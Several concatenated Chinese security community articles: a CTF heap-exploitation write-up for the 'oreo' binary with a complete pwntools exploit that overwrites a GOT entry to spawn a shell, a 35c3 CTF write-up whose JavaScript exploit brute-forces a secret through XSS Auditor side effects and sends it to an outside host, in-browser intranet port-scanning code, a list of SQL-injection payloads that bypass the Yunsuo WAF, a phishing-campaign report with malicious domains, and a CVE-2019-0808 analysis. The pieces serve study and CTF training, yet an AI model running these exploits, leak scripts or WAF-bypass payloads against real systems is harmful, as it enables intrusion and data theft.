target = process(argv=['./ld-2.23.so','./oreo'], env={"LD_PRELOAD":"./libc.so.6"})
ld-2.23.so和libc.so.6是从glibc-all-in-one中下载的2.23版本的glibc文件，具体方法可参考我的前文。
至于为什么不能通过直接运行oreo二进制进行调试，我不太清楚原因，貌似是当oreo是可执行文件的时候，ld文件运行的时候有些问题，想通过调试确定一下问题，但是ld的逻辑太复杂，所以作罢，有更优雅的解决方案同学可以提示一下。
### 逆向审计
通过逆向观察oreo二进制反编译代码，二进制有几个功能
case 1:
add_rifle();
break;
case 2:
show_added_rifles();
break;
case 3:
order_selected_rifles();
break;
case 4:
leave_message_with_order();
break;
case 5:
show_current_stats();
break;
case 6:
return __readgsdword(0x14u) ^ v1;
default:
continue;
}
add_rifle就是相当于malloc创建一个chunk，show_added_rifles就是打印内存内容，而order_selected_rifles这个函数的功能是对所有创建的chunk进行free，还有一个函数是读取数据到一个bss段的全局变量
漏洞点也比较明显，在add_rifle中
mem_store_rifles = (char *)malloc(0x38u); //创建0x38 + 8的chunk
if ( mem_store_rifles )
{
*((_DWORD *)mem_store_rifles + 13) = v1; // 把上一个chunk写入到新chunk中
printf("Rifle name: ");
fgets(mem_store_rifles + 25, 56, stdin); //写入的时候是从偏移25的地方再写入56个字节，堆溢出
sub_80485EC(mem_store_rifles + 25);
printf("Rifle description: ");
fgets(mem_store_rifles, 56, stdin);
sub_80485EC(mem_store_rifles);
++new_rifle_num;
创建的chunk大小是0x40，但是写入的时候是从偏移25的位置再写入56个字节，这会造成堆溢出。
在这个函数中还有一个把旧的chunk指针写入到当前这个chunk中保存的逻辑，这个逻辑比较特殊应该会在后面的利用中用到。
### 利用思路
我本人尝试了几种思路一开始，但是都遇到了一些问题，首先这个创建chunk的大小都是固定的不是可控的，而且释放的时候也是根据链表进行全部释放，所以也不能随意的指定释放的顺序。这就给利用带来了一些困难。
#### 尝试fastbin攻击
通过溢出我们是可以通过fastbin
攻击把fastbin中的chunk的fd指针给修改到我们想要的地方，但是由于再次malloc的时候会验证chunk的size是否符合对应的fastbin
size，我并没有在二进制中看到可以满足这个size的内存，所以这种方式比较难实现fastbin攻击，而且由于最终要借用system这种函数去实现拿shell，由于system函数没有在二进制中调用，所以最终还是要知道libc的加载地址才行。
#### 尝试泄露libc地址
泄露libc地址的方式可以通过打印got表或者打印unsorted
bin中的chunk的fd指针来实现，第一种打印got表需要劫持函数并且要求函数的参数是用户可控的，由于我们并不能实现对任意地址的写入功能，实现劫持函数就比较难实现，所以这种方法实现libc地址的难度较大。
尝试通过unsroted
bin实现libc泄露也很困难，因为这个大小是0x40的chunk固定分配的，而0x40还是在fastbin的大小范围内，所以要想得到一个unsorted
bin上的chunk就不容易，我想的是通过修改储存在当前chunk中的旧chunk的指针，让这个旧chunj指针指向一个虚假的地址，而且让-4偏移的内存作为假的size字段，但是我还是搜遍了二进制没有发现到很合适的size，能够不触发合并，而且没有让mmap标志位置1的内存，所以这种方式我也失败了。
数据结构图
#### 结合二进制本身的业务逻辑
泄露libc地址的通用方法在这个二进制中非常困难，所以我们不得不考虑结合二进制本身的业务逻辑去做这个libc的地址泄露。这个二进制比较特殊的一个点是它把新旧chunk用链表的形式给串起来了，所以我们要充分利用这链表指针，因为这个指针我们是可以控制的，所以我们直接可以让这个链表指针指向我们的GOT表，通过打印逻辑把GOT表中的内容给打印出来。
我们可以让这个链表指针指向puts的got表地址0x0804A248，我们只需要控制分配的内容，覆盖这个指针。我们通过逆向add_rifle的逻辑可以发现，name这个字段是从偏移25的地方开始写入，然后可以写入56个字节，而我们的链表指针的偏移是52,所以我们的name可以写入27个字节之后，再写入的内容就是指针内容。
拿到了libc的地址后，我们就可以通过fastbin
attack去修改malloc_hook和free_hook的值，但是同样的由于这两个地址附近都是没有可用的size的，got表附近也是没有可用的size，所以这题貌似通过简单的fastbin
attack是行不通的，只能思考别的办法。
我们目标是修改GOT表，或者是函数指针的的值，但是目前我们没有这个条件，现在又卡到了我们，只能再去研究二进制，我们可以注意到还有一个leave
message的函数我们是没有用到的，而这个函数是往一个指针指向的内存中写入数据，这个数据是我们可控的。而且发现存储这个指针的内存前面4个字节的内存内容也是可控的，他是表示创建的rifle的数目。所以思路出来了，如果我们能够修改这个指针，让他指向got表，就可以往got表中写入值了。
我们可以利用house of
spirit实现修改这个指针。首先让这个rifle数目满足我们的0x40，然后free这个存储指针的地址，这样我们就在fastbin中添加了这个chunk，然后再malloc就可以得到对这个存储指针的地址的控制权，然后我们修改这个指针让他指向got表。
hof还有一个前置条件就是要修下一个紧邻chunk的size值，让他大于 `2 *
SIZE_SZ`，否则会不满足glibc的校验条件。我们可控紧邻chunk的size在什么位置。假chunk的地址是`0x804A2A0`，大小是0x40，那么紧邻chunk的地址就是`0x0804A2A0
+ 0x40 = 0x804a2e0`, 利用leave message这个函数是可以修改`0x0804A2C0 ~ 0x804A2C0 +
0x80`这块的地址的，下一个紧邻chunk的size字段相对于0x0804A2C0的偏移是`0x804a2e0 + 4 - 0x0804A2C0 =
0x24`, 因此我们通过写入0x24个字节的占位字节，然后和一个满足大于 2 *
SIZE_SZ的假size字段就可以满足hos的条件。占位字节最好是NULL，只有这样才能在free链表指针的时候停下来。
经过这些操作我们可以得到一个虚假的0x40大小的fastbin chunk
Fastbins[idx=6, size=0x40] ← Chunk(addr=0x804a2a8, size=0x40, flags=PREV_INUSE) ← Chunk(addr=0x58252418, size=0x40, flags=PREV_INUSE)
并且这个chunk的地址也是我们想要的0x804a2a8。
我们再通过申请一个0x40的chunk拿到对0x804a2a8的控制权，我们就可以把一个函数的got表地址写入到0x804a2a8中，我们应该选择哪一个函数呢，我们目标是把这个got表写入system函数，system函数的第一个参数需要是我们可以控制的，所以被复写的函数最好也是一个第一个参数是用户可控的函数，所有的GOT函数列表
printf
free
fgets
__stack_chk_fail
malloc
puts
strlen
__libc_start_main
__isoc99_sscanf
__gmon_start__.
找来找去只有__isoc99_sscanf符合这个条件
int sub_8048896()
{
int v1; // [esp+18h] [ebp-30h] BYREF
char s[32]; // [esp+1Ch] [ebp-2Ch] BYREF
unsigned int v3; // [esp+3Ch] [ebp-Ch]
v3 = __readgsdword(0x14u);
do
{
printf("Action: ");
fgets(s, 32, stdin);
}
while ( !(__isoc99_sscanf)(s, "%u", &v1) ); //第一个参数是从fgets中读出来的可控的
return v1;
}
所以我们通过申请一个0x40的chunk，然后给这个chunk赋值为sscanf的got表地址，这样就把`0x804a2a`8指向了`scanf.got`的地址，如果我们再次调用`leavemessage`函数就可以让这个got表的值修改为system在
libc中的偏移地址了。之后在通过发送/bin/sh字符串，调用sscanf进而调用system得到shell。
### 我的exp
from pwn import *
target = process(argv=['./ld-2.23.so','./oreo_origin'], env={"LD_PRELOAD":"./libc.so.6"})
# gdb.attach(target)
elf = ELF('oreo_origin')
libc = ELF("libc.so.6")
def addRifle(name, desc):
target.sendline('1')
target.sendline(name)
target.sendline(desc)
def leakLibc():
target.sendline('2')
print target.recvuntil("Description: ")
print target.recvuntil("Description: ")
leak = target.recvline()
puts_addr = u32(leak[0:4])
libc_base = puts_addr - libc.symbols['puts']
return libc_base
def orderRifles():
target.sendline("3")
def leaveMessage(content):
target.sendline("4")
target.sendline(content)
addRifle('1'*27 + p32(0x804A248) ,'123')
libc_addr = leakLibc()
print(hex(libc_addr))
for i in range(0,0x40-1):
addRifle('123','123')
target.sendline('5')
res = target.recv()
res = target.recv()
addRifle('A'*27 + p32(0x804A2A8),'123')
leaveMessage('\x00' * 0x24 + p32(0x20))
orderRifles()
addRifle('123', p32(elf.got['__isoc99_sscanf']))
addRifle('A'*31 + p32(0x40) + p32(0x61),'123')
system = libc_addr + libc.symbols['system']
leaveMessage(p32(system))
target.sendline('/bin/sh')
target.interactive()
## 结语
hos攻击的应用场景是比较苛刻的，需要能够有一个逻辑能触发错误的free,
目标地址的前面和后面都要是可控的才能满足两个size的检测。在实际的漏洞挖掘利用中，笔者感觉很难见到。
## 参考
1.<https://guyinatuxedo.github.io/39-house_of_spirit/house_spirit_exp/index.html>
2.<https://heap-exploitation.dhavalkapil.com/attacks/house_of_spirit>
3.<https://github.com/guyinatuxedo/nightmare/tree/master/modules/39-house_of_spirit/hacklu14_oreo> | 社区文章 |
## 前言
看到wonderkun师傅的新更的一篇[博客](http://wonderkun.cc/index.html/?p=747)，写[35c3CTF](https://35c3ctf.ccc.ac/challenges/)中的一道题：利用chrome
XSS Auditor机制，进行盲注，特别好玩儿。
博客简明扼要，但我这个前端瞎子看不太懂后半部分，留下了不懂技术的泪水……好在国外有位大表哥把解题思路写了出来，自己在摸索中收获颇多，于是打算写篇文章，把其中涉及的基础知识介绍一下。
一来，介绍这个不算严重，但在Web2.0厚客户端背景下， **有点儿意思** 的漏洞；
二来，安利一下35c3CTF这个高水平、高质量的国际赛事。
## 题目背景
//很幸运，写文的时候题目环境还没关，
这道题在比赛期间，只有5支队伍成功做出来
题目说明：
从中我们可以得知，题目考察chrome-headless相关知识点，浏览器特性相关的话，大概率是XSS。
浏览一下`https://filemanager.appspot.com`
（PS：CTF的好习惯，“访问任何题目地址，都顺便用源码泄露扫一遍；见到任何框框，都随便用sqlmap插一下”，在这道题里，不存在敏感信息泄露和SQL注入，所以就不再赘述了。）
填入admin之后，正常进入管理页面，可以任意登录admin？？原来网站是依赖Session识别用户，把session对应的资源展示出来，所以即使页面显示你是admin，也拿不到真正admin用户的资源。
页面上有两个功能，一个查找文件，一个创建文件：
不好意思……本能地写一句话
文件创建成功，但貌似只是一个普通的文本，没有解析
因为有`?filename=`，尝试一下文件读取，emmmm，放心，肯定是失败的（不然本文题目就不会是XSS盲注了，23333
后端代码解析不了，试试前端代码呗~发现还是没有任何解析
那大概率就是xss了~
### DOM XSS
右击！查看源码！（PPS：这么晚才看前端源码，只是因为...我,似鸽前端瞎 ；我,没得感情）
这个看似神秘的地方，作用就是
1. 给/create接口传个POST请求，把文件名和内容传过去
2. 在页面添加一个指向该（假）文件的超链接
像这样：
（PPPS：由于写入的POST请求携带了XSRF头，所以无法进行CSRF攻击
暂定create接口和超链接没问题，再看下search接口：
这里我们尝试搜索一些常用的关键字，如flag/root/admin等，当搜索`php`关键字时，可以看到有特殊回显，查看源码，发现有一段JavaScript代码，将我们搜索的内容赋给了q变量，随后使用DOM的方式输出到标签中。
为什么只有php会有回显呢？因为我们在之前测试的时候，插入了php一句话密码的文本进去。也就是说，这里的`search`是一个文本搜索功能，当搜索到关键字时，返回被搜索到的文件内容，并把搜索关键字区域高亮显示。
我们确定一下，这里是否存在漏洞，
直接插入`<img src=x onerror=alert(document.cookie);>`然后搜索：
发现尖括号被HTML实体编码了。尝试js十六进制编码绕过：
js十六进制编码：
str="<img src=x onerror=alert(document.cookie);>";
len=str.length;
arr=[];
for(var i=0;i<len;i++){
arr.push(str.charCodeAt(i).toString(16));
}
console.log("\\x"+arr.join("\\x"));
F12打开控制台，把上面生成js十六进制编码的代码放到控制台执行就好
重复之前的操作，create文件，文本内容填上编码后的结果，然后搜索这段字符串：
可以看到，通过JavaScript的DOM操作，已经弹窗~
OK，存在XSS漏洞和文本搜索功能，猜测flag已经被写入到真实admin后台了，我们要利用搜索处的的XSS漏洞，获取Flag，那么问题来了，怎么打admin呢？
### XSRF头防御
别忘了，题目说明还有另一句话。
`The admin is using it to store a flag, can you get it? You can reach the
admin's chrome-headless at: nc 35.246.157.192 1`
前半句确定了flag是储存在真实admin后台的，后半句告诉我们后台的机器人用的是chrome-headless，并提供了一个nc入口：
Interesting!
这里用到了[区块链技术中的工作量证明算法](https://zhuanlan.zhihu.com/p/33114775)，并提供了[Node.js](https://nodejs.org/en/)的一个[计算工具](https://www.npmjs.com/package/proof-of-work)。
安装Node.js用自带的npm工具安装这个模块就好：
使用方法：
这种方法很新奇，防止爆破的同时，还控制了服务器负载。（PPPPS：这种方式还可以用在Pwn题中，防止Fork炸弹。
将计算结果反馈给服务端，提示可以给admin传一个URL，让admin访问：
当查询内容存在时，才会被HTML渲染，XSS插入的攻击向量，必须是之前存到文件里的。很容易想到，利用CSRF让admin插入一段攻击向量，再搜索这段攻击向量，从而触发XSS漏洞。但是~
不要忘记，create页面在插入时，携带了[XSRF头](https://segmentfault.com/a/1190000011210869)，这导致无法CSRF……
最后一条题目信息：chrome-headless
我们可以利用Chrome-Headless对“存在/不存在”的相应差异，进行盲注~也就是我们要引申出的知识点，特定情况下的JavaScript前端盲注。
## JavaScript前端盲注准备
### 浏览器对目标端口是否存在的回显差异
随着浏览器对JavaScript代码的支持，目前我们已经可以仅靠前端代码完成内网端口（10.*）的扫描，并将扫描结果通过DNS外带等方式反馈给攻击者。
具体怎么实现呢？首先来看最容易实现的Firefox：
Firefox当访问一个不存在的端口时，要么超时，要么拒绝连接。因此我们可以使用iframe发起一个内网请求（如192.168.1.1:80），根据访问结果来判断。同时，由于Firefox不限制iframe的数量，因此可以这样写：
async scanFirefox() {
var that = this;
let promise = new Promise(function(resolve,reject){
that.hooks = {oncomplete:function(){
var iframes = document.getElementsByClassName('firefox');
while(iframes.length > 0){
iframes[0].parentNode.removeChild(iframes[0]);
}
resolve();
}};
that.scan = function(){
var port = that.q.shift(), id = 'firefox'+(that.pos%1000), iframe = document.getElementById(id) ? document.getElementById(id) : document.createElement('iframe'), timer;
iframe.style.display = 'none';
iframe.id = id;
iframe.src = that.url + ":" + port;
iframe.className = 'firefox';
that.updateProgress(port);
iframe.onload = function(){
that.openPorts.push(port);
clearTimeout(timer);
that.next();
};
timer = setTimeout(function(){
that.next();
}, 50);
if(!document.body.contains(iframe)) {
document.body.appendChild(iframe);
}
};
that.scan();
});
return promise;
}
创建1000个iframe异步/多线程地探测端口，可以试一下[Gareth
Heyes](https://portswigger.net/blog/exposing-intranets-with-reliable-browser-based-port-scanning)师傅的[Demo](http://portswigger-labs.net/portscan/)。
可以看到探测的速度很快：
[
但Chrome相对于Firefox有一些不同，提高了探测的难度。Chrome中即使访问对象不存在，也会返回success~只不过这个Success是Chrome浏览器特权域`chrome-error://chromewebdata/`的。大概是谷歌的安全研究员想要通过这种方式保护用户吧。
但我们可以通过另一种[技巧](https://portswigger.net/blog/exposing-intranets-with-reliable-browser-based-port-scanning)来绕过这种保护：
在前端中，iframe去请求一个页面，会触发onload事件，在Chrome中，无论目标端口是否开放，都会成功触发onload，只不过一个是目标端口成功加载的onload，一个是特权域`chrome-error://chromewebdata/`成功加载的onload。但在这时，如果我们在Url上加入一个锚定符`#`，再次加载，对于端口开放的页面，因为是同一个页面，所以onload事件不会再次加载。而对于端口不开放的页面，因为Url已经从目标页面换成了`chrome-error://chromewebdata/`，所以Onload事件会再次加载。
这个差异就能被用来判断端口是否开放。
利用代码如下所示：
async scanChromeWindows() {
var that = this;
let promise = new Promise(function(resolve,reject){
that.hooks = {oncomplete:function(){
var iframes = document.getElementsByClassName('chrome');
while(iframes.length > 0){
iframes[0].parentNode.removeChild(iframes[0]);
}
resolve();
}};
that.scan = function(){
var port = that.q.shift(), id = 'chrome'+(that.pos%500), iframe = document.getElementById(id) ? document.getElementById(id) : document.createElement('iframe'), timer, calls = 0;
iframe.style.display = 'none';
iframe.id = iframe.name = id;
iframe.src = that.url + ":" + port;
iframe.className = 'chrome';
that.updateProgress(port);
iframe.hasLoadedOnce = 0;
iframe.onload = function(){
calls++;
if(calls > 1) {
clearTimeout(timer);
that.next();
return;
}
iframe.hasLoadedOnce = 1;
var a = document.createElement('a');
a.target = iframe.name;
a.href = iframe.src + '#';
a.click();
a = null;
};
timer = setTimeout(function(){
if(iframe.hasLoadedOnce) {
that.openPorts.push(port);
}
if(that.connections <= that.maxConnections) {
that.next();
that.connections++;
}
}, 3000);
if(!document.body.contains(iframe)) {
document.body.appendChild(iframe);
}
};
that.scan();
});
return promise;
}
### Chrome XSS Auditor的过度敏感
Chrome XSS Auditor，就是那个测XSS漏洞时经常出来拦截的东东
在检测恶意向量时有一个规则，当url中带有页面里的JavaScript资源代码时，就会认为是恶意向量。拿baidu.com举例：
在正常页面里，随便找一个被成功解析的script标签
随便找一个a参数传入：
呕吼~一个“百度主站XSS”就诞生了~
这个拦截的错误页面，和无法找到服务的错误页面是相似的，都可以二次加载iframe框架里的onload事件。
这种误报是在原访问请求正常，页面里存在Js资源时生效。所以，回到题目上来看：
先随便写个文件~
在搜索成功的界面里，随意找段JavaScript代码：
构造URL：
https://filemanager.appspot.com/search?q=test&a=%3Cscript%3E%20%20%20%20%28%28%29%3d%3E%7b%0a%20%20%20%20%20%20for%20%28let%20pre%20of%20document%2egetElementsByTagName%28%27pre%27%29%29%20%7b%0a%20%20%20%20%20%20%20%20let%20text%20%3d%20pre%2einnerHTML%3b
达到了效果。
而当我们搜索的内容不存在时：
回显就不一样了。
## Get Flag!
利用以上知识，我们就能获取Flag了~
### EXP原理
先贴上[@l4wio](https://gist.githubusercontent.com/l4wio/3a6e9a7aea5acd7a215cdc8a8558d176/raw/1d8493902084361ad5ca5ff142f78388a00a0f20/go.html)表哥的EXP。
<body>
<script>
var URL = 'https://filemanager.appspot.com/search?q={{search}}&a=%3Cscript%3E%20%20%20%20%28%28%29%3d%3E%7b%0a%20%20%20%20%20%20for%20%28let%20pre%20of%20document%2egetElementsByTagName%28%27pre%27%29%29%20%7b%0a%20%20%20%20%20%20%20%20let%20text%20%3d%20pre%2einnerHTML%3b'; //触发Chrome XSS Auditor的url向量
var charset = '_abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ!"#$%&\'()*+,-https://gitee.com/ph0rse/images/raw/master/xz/:;<=>?@[\\]^`{|}~'; //允许遍历的字符集
var brute = new URLSearchParams(location.search).get('brute') || '35C3_'; //当访问链接带有brute参数时，如go.html?brute=data，burte变量为参数内容。若没有burte参数，则brute变量的值为'35C3_'。
function guess(i){
var go = brute + charset[i];//35C3_拼接上猜测的下一个字符
var x = document.createElement('iframe');//创建iframe框架
x.name = 'blah';
var calls = 0;
x.onload = () => {
calls++;
//只有当二次及以上触发onload时才执行花括号里的内容
if(calls > 1){
console.log("GO IT ==> ",go);//递归再次请求
location.href = 'http://deptrai.l4w.pw/35c3/go.html?brute='+escape(go);
x.onload = ()=>{};
}
var anchor = document.createElement('a');
anchor.target = x.name;
anchor.href = x.src+'#';
anchor.click();
anchor = null;
}
x.src = URL.replace('{{search}}',go);
document.body.appendChild(x);
setTimeout(() =>{
document.body.removeChild(x);
guess(i+1); //递归尝试字符集中的下一个字符
},1000);
}
guess(0);
// FLAG: 35C3_xss_auditor_for_the_win
</script>
</body>
将此EXP放到一个公网可访问的地址上，并将`location.href =
'http://deptrai.l4w.pw/35c3/go.html?brute='+escape(go);`这一行，改为自己的公网地址。通过nc，将该公网地址发给Admin，让其点开就行。
该EXP通过递归思维进行爆破，从字符集里依次取字符，拼接到'35C3_'上，若不是Flag里的一部分，则onload只执行一次；若加入字符后，是Flag里的一部分，则返回正常页面，但由于触发Chrome
XSS Auditor，总共加载onload 3次。
第二次会触发以下逻辑：
if(calls > 1){
console.log("GO IT ==> ",go);//递归再次请求
location.href = 'http://deptrai.l4w.pw/35c3/go.html?brute='+escape(go);
x.onload = ()=>{};
}
也就是说，携带上本次成功的案例，递归地进行下一轮爆破。
####
这里我把真实Flag放到自己的账号上，模拟自己是拥有flag的Admin，来做一下测试：
访问`http://deptrai.l4w.pw/35c3/go.html`（自己VPS上一堆环境……就不拿出来让师傅们日了……）
可以看到，界面一直在刷新，也就是进行盲注爆破~
直到遍历到`35C3_x`的时候，递归地进入了`http://deptrai.l4w.pw/35c3/go.html?burte=35C3_x`页面，开始下一个字符的爆破。
最后通过查看`http://deptrai.l4w.pw/`(可换成自己的VPS)的访问日志，就能获得最终的Flag：`35C3_xss_auditor_for_the_win`。
没有VPS的小伙伴，也可以通过[@Sn00py](https://03i0.com/)推荐的[临时DNS解析网站](http://dnsbin.zhack.ca)，来接收回显。
### 端口爆破脚本
本文只提及了Chrome和Firefox两种浏览器，国外有师傅做了全种类浏览器的异步内网端口扫描，直接把源码保存下来就能用：
[全种类浏览器内网端口扫描](https://blog.skylined.nl/LocalNetworkScanner/)
[异步内网IP扫描](http://portswigger-labs.net/portscan/)
## 总结
受限于篇幅，没能很全面地介绍前端中的扫描姿势，有时间的话，再补一篇……
在这个XSS漏洞一直不被国内厂商重视，一片忽略的背景下……在“瘦服务端，厚客户端”的背景下……
讲个笑话，某白帽子，发现一处主站XSS漏洞
A：Alert(1)大法！！！！！！
客服：忽略
B：【截图】小姐姐~这个XSS能探测到你们开着两个Redis端口诶~
客服：￥4000
emmm，笑话有点冷，但好像挺真实的。不扩大战果，不展示危害，永远不被业务人员重视。在危害问题上稍微装X一点，貌似才是对整个安全生态有利的做法。
hackone上，Google某登录页面没有上SSL，赏金500美刀。为这样的企业点赞！
参考链接：
<http://wonderkun.cc/index.html/?p=747>
<https://portswigger.net/blog/exposing-intranets-with-reliable-browser-based-port-scanning>
<https://github.com/SkyLined/LocalNetworkScanner/>
<http://portswigger-labs.net/portscan/>
<https://gist.github.com/l4wio/3a6e9a7aea5acd7a215cdc8a8558d176> | 社区文章 |
这次主要以搭建最新版云锁环境来进行bypass,从来两个方面进行绕过,第一个就是联合注入,第二个就是报错注入,由于上一篇我已经写了怎么通过时间盲注进行绕过这篇就不写了,这次主要从get型来进行绕过,post类型的脏数据以及其他方式暂时不考虑
# 实验环境
php5.45+apache+云锁win_3.1.18.13(目前最新版)+靶机sqli-lab
## 联合注入绕过
### order by绕过
由于and 没有被拦截暂时不考虑
这里order by 肯定被拦截,这里就进行fuzz
/**/order/**/by 1 拦截
/*!30000order*//*!30000by*/ 1 不拦截
/*!40000/*!30000order*//*!40000/*!30000by*/ 1 不拦截
### union select 绕过
/*!40000/*!30000union *//*!40000 /*!30000select */1,2,3 拦截
/*!40000/*!30000union */ /*!40000/*!30000all */ /*!40000 /*!30000select */1,2,3 不拦截
/*!40000/*!30000union */-- -adssadsadd%0aselect 1,2,3 拦截
### 系统函数绕过
这里本来以为会拦截系统函数,但是事实并没有拦截,有可能这就是免费版的效果,后面数据部分也没有被拦截就不放出来了,就是正常查询.
这里还是列出常用绕过系统函数几个方式吧
user/*!40000*/()
database%0a()
version/**/()
vsersion/*!()*/
## 报错注入绕过
### 绕过报错函数
常见报错注入函数 floor() extractvalue() updatexml() exp() ,这里我选用updatexml()进行实验
updatexml 不拦截
updatexml() 拦截
如果这里的报错函数一出现函数与()连接就会被云锁拦截,这时候有两个方面来进行绕过一个是从updatexml绕过 一个是()来绕过
updatexml/**/() 拦截
updatexml/*!()*/ 拦截
updatexml%0a() 拦截
updatexml/*!40000()*/ 不拦截
/*!40000updatexml*/ 不拦截
/*!40000/*!30000updatexml*/() 不拦截
### 绕过系统函数
这里也是跟上面一样,绕过思路跟上面一样
database 不拦截
database() 拦截
paylaod就用绕报错函数方式即可
### 进行数据查询
http://192.168.1.10/sql/Less-1/?id=1' and updatexml/*!40000*/1,concat(0x7e,(select %0agroup_concat(table_name) from%0ainformation_schema.tables%0awhere%0atable_schema="security"),0x7e),1)-- - 拦截
http://192.168.1.10/sql/Less-1/?id=1' and updatexml/*!40000*/(1,concat(0x7e,(select ),0x7e),1)-- - 不拦截
http://192.168.1.10/sql/Less-1/?id=1' and updatexml/*!40000*/(1,concat(0x7e,( %0agroup_concat(table_name) from%0ainformation_schema.tables%0awhere%0atable_schema="security"),0x7e),1)-- - 不拦截
说明这里被拦截的是select,这里我们就从select入手
/*!30000select*/ 不拦截
/*!30000%53elect*/ 不拦截
select/*!40000*//*!3000%0agroup_concat(table_name) from%0ainformation_schema.tables%0awhere%0atable_schema="security"*/ 拦截
总结:
感觉云锁绕过不是很难,如果post的话脏数据绕过更加简单.不知道是不是我这个搭建的免费版的(就是没钱)导致功能太弱,这里如果有遗漏的没有补充到还请各位师傅留言下.. | 社区文章 |
摘要
近期，安恒威胁情报中心猎影实验室监测捕获到一些以创投为主题的钓鱼文档。诱饵文档标题伪装成创投资本的保密协议，利用模板注入下载后续内容，同时伪造创投相关文档内容诱导迷惑受害者。通过分析发现行动的主要目标集中在风投前沿科技相关行业。
分析
我们捕获到“Union Square Ventures Partnership - Mutual NDA Form.docx”，“Abies VC
Presentation(ISO 27001).docx”等多个标题为创投资本相关的文档，其中NDA为Non-Disclosure
Agreement缩写，意为保密协议。
样本形式大致类似，我们这里取其中一个的名为Abies VC Presentation(ISO 27001).docx的样本来分析，意为冷杉创业投资汇报。
settings.xml.rels文件内包含远程链接，
分析的样本在启动阶段会尝试访问<https://googleservice[.]xyz/5+MMshxcY33IX2woo6UfPsQ3BDAuMjm14P2R/cCl/+8=>
下载后续恶意文件，目前此链接无法访问，
文档的内容为伪装的ISO 27001标准保密协议，在ISO 27001标准的logo下有被盖住的冷杉创投的logo，且包含诱导受害者点击的相关信息。
对样本所使用的网络资产进行关联分析，我们找到了不少相关网络资产。
可以看到关联到了这次攻击中所伪装的冷杉投资的相关域名，abiesvc[.]com、abiesvc[.]info
域名的注册时间都不久。
类似的域名还有lemniscap[.]cc、dekryptcap[.]digital、fastercapital[.]cc、lundbergs[.]cc等创投资本相关域名。注册的域名中有本次样本使用的googleservice[.]xyz以及docstream[.]online、isosecurity[.]xyz、filestream[.]download这类有着欺骗性的域名。也发现了加密货币相关的域名coinbigex[.]com、coinbig[.]dev、galaxydigital[.]cloud、kraken-dev[.]com等和能源投资相关域名innoenergy[.]info
对部分域名做了302的临时重定向，定向至官方网站域名，以增强迷惑性
例如，访问abiesvc[.]com所在域名回重定向至冷杉创投官方网站abies[.]vc
访问dekryptcap[.]digital会重定向至dekryptcapital官方网站dekrypt[.]capital
关联所得到的样本中部分样本的docID相同，docID值位于settings.xml文件内。
在其中三个关联样本中我们发现了语言值信息。”Lundbergs NDA Mutual Form.docx”的语言值中出现w:eastAsia=”ko-KR”
“Circle Business Introduction(ISO 27001).docx”样本中发现了语言值w:eastAsia="ja-JP"；“FasterCapital Introduction 2020 Oct.docx”样本中出现了语言值w:eastAsia="zh-CN"
另外除了前面的伪装文档内容外，还有多种伪装文档内容样式。
总结
在分析过程中，我们发现该攻击者注册并掌握了一定数量的创投资本相关域名及一部分其他有欺骗性的域名，同时发现了一批使用创业投资资本保密协议主题的样本，目前捕获的样本显示攻击者的攻击目标集中于前沿科技初创公司。很遗憾目前所有找到的样本的回连地址中尚未发现后续阶段的攻击样本，猎影实验室也将持续关注该攻击事件。
IOC
md5:
ecf75bec770edcd89a3c16d3c4edde1a
bcf97660ce2b09cbffb454aa5436c9a0
13ff15ac54a297796e558bb96feaacfd
cace67b3ea1ce95298933e38311f6d0b
645adf057b55ef731e624ab435a41757
bde4747408ce3cfdfe8238a133ebcac9
421b1e1ab9951d5b8eeda5b041cb0657
d2f08e227cd528ad8b26e9bbe285ae3c
04deb35316ebe1789da042c8876c0622
af4eefa8cddc1e412fe91ad33199bd71
34239a3607d8b5b8ddd6797855f2e827
389172d2794d789727b9f7d01ec27f75
Domains:
googleservice[.]xyz
docstream[.]online
isosecurity[.]xyz
filestream[.]download
coinbigex[.]com
coinbig[.]dev
galaxydigital[.]cloud
kraken-dev[.]com
innoenergy[.]info
lemniscap[.]cc
dekryptcap[.]digital
fastercapital[.]cc
circlecapital[.]us
lundbergs[.]cc
abiesvc[.]com
deepmind[.]fund
abiesvc[.]info
googleservice[.]icu
IP:
104.168.160[.]8
104.168.158[.]224
104.168.160[.]6
104.168.158[.]103 | 社区文章 |
**作者：成都应急响应中心-360核心安全
博客：<http://blogs.360.cn/post/RootCause_CVE-2019-0808_CH.html>**
2019年3月微软发布的补丁修复了两个在野Windows零日漏洞，其中CVE-2019-0808是由谷歌威胁分析小组发现并向微软提交。
据微软称，这个影响Win32k组件的漏洞允许攻击者提升权限并在内核模式下执行任意代码。谷歌表示，该漏洞只影响Windows 7和Windows Server
2008，由于微软在最新版本的操作系统中引入了漏洞利用缓解措施，因此Windows 10不会受到影响。但是Windows
7仍然占有一定数量的用户比例，同时该漏洞结合Chrome
RCE（CVE-2019-5786）已经被用于真实的APT攻击，因此极有可能被利用来执行大规模的攻击并构成现实的威胁，因此360核心安全技术中心通过编写代码构造出POC，对漏洞触发过程进行了一些还原，以便安全厂商可以增加相应的防护措施。
### 1\. 漏洞成因
xxxMNFindWindowFromPoint函数在接收到窗口过程函数返回的菜单窗口对象后，未有效检验其成员tagPOPUPMENU的有效性，造成后续MNGetpItemFromIndex函数触发零指针解引用漏洞。
### 2\. 漏洞触发流程
下面对主要流程进行解释。 **第一步：**
首先需要设置全局的消息钩子函数用于拦截xxxMNFindWindowFromPoint发出的MN_FINDMENUWINDOWFROMPOINT消息。
**第二步：** 创建拥有拖拽功能的菜单项，以及一个特殊的窗口句柄hpwn留作备用。
**第三步：** 通过拖拽菜单或直接调用相关系统调用，使程序流程进入NtUserMNDragOver函数。
**第四步：** 调用关系如下NtUserMNDragOver -> xxxMNMouseMove ->
xxxMNFindWindowFromPoint，xxxMNFindWindowFromPoint会向窗口发送MN_FINDMENUWINDOWFROMPOINT消息并接收返回的窗口句柄。由于设置了全局消息钩子函数，执行流程又回到了用户层。
**第五步：**
由于前面替换了菜单窗口的窗口过程函数，全局消息钩子函数执行完后即会进入FakeWindowProc函数，这里直接返回先前备用的窗口句柄hpwn。
**第六步：**
xxxMNFindWindowFromPoint函数获得窗口句柄后，直接将其对应的窗口对象返回并传入xxxMNUpdateDraggingInfo函数。需要注意的是，这里得到的窗口对象即是之前伪造的hpwn窗口对象，其内部成员tagPOPUPMENU没有设置完全，多数成员都为0！
**第七步：** xxxMNUpdateDraggingInfo函数获得窗口对象后，会通过MNGetpItem函数访问其成员tagPOPUPMENU对象。
MNGetpItem函数又会继续访问tagPOPUPMENU对象的spmenu成员，从而造成零指针解引用漏洞。
### 3\. 漏洞补丁
